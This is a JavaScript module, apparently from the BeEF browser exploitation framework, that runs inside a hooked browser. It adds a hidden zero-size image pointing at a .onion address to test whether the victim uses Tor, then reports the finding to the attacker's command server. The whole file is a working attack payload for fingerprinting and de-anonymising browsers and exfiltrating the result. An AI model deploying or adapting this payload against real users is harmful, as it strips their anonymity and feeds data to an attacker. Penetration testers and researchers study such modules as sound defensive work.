51 lines
1.7 KiB
JavaScript
51 lines
1.7 KiB
JavaScript
//
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// Copyright 2012 Wade Alcorn wade@bindshell.net
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//
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// Licensed under the Apache License, Version 2.0 (the "License");
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// you may not use this file except in compliance with the License.
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// You may obtain a copy of the License at
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//
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// http://www.apache.org/licenses/LICENSE-2.0
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//
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// Unless required by applicable law or agreed to in writing, software
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// distributed under the License is distributed on an "AS IS" BASIS,
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// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
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// See the License for the specific language governing permissions and
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// limitations under the License.
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//
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beef.execute(function() {
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if (document.getElementById('torimg')) {
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return "Img already created";
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}
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var img = new Image();
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img.setAttribute("style","visibility:hidden");
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img.setAttribute("width","0");
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img.setAttribute("height","0");
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img.src = 'http://dige6xxwpt2knqbv.onion/wink.gif';
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img.id = 'torimg';
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img.setAttribute("attr","start");
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img.onerror = function() {
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this.setAttribute("attr","error");
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};
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img.onload = function() {
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this.setAttribute("attr","load");
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};
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document.body.appendChild(img);
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setTimeout(function() {
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var img = document.getElementById('torimg');
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if (img.getAttribute("attr") == "error") {
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beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Browser is not behind Tor');
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} else if (img.getAttribute("attr") == "load") {
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beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Browser is behind Tor');
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} else if (img.getAttribute("attr") == "start") {
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beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Browser timed out. Cannot determine if browser is behind Tor');
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};
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document.body.removeChild(img);
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}, <%= @timeout %>);
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});
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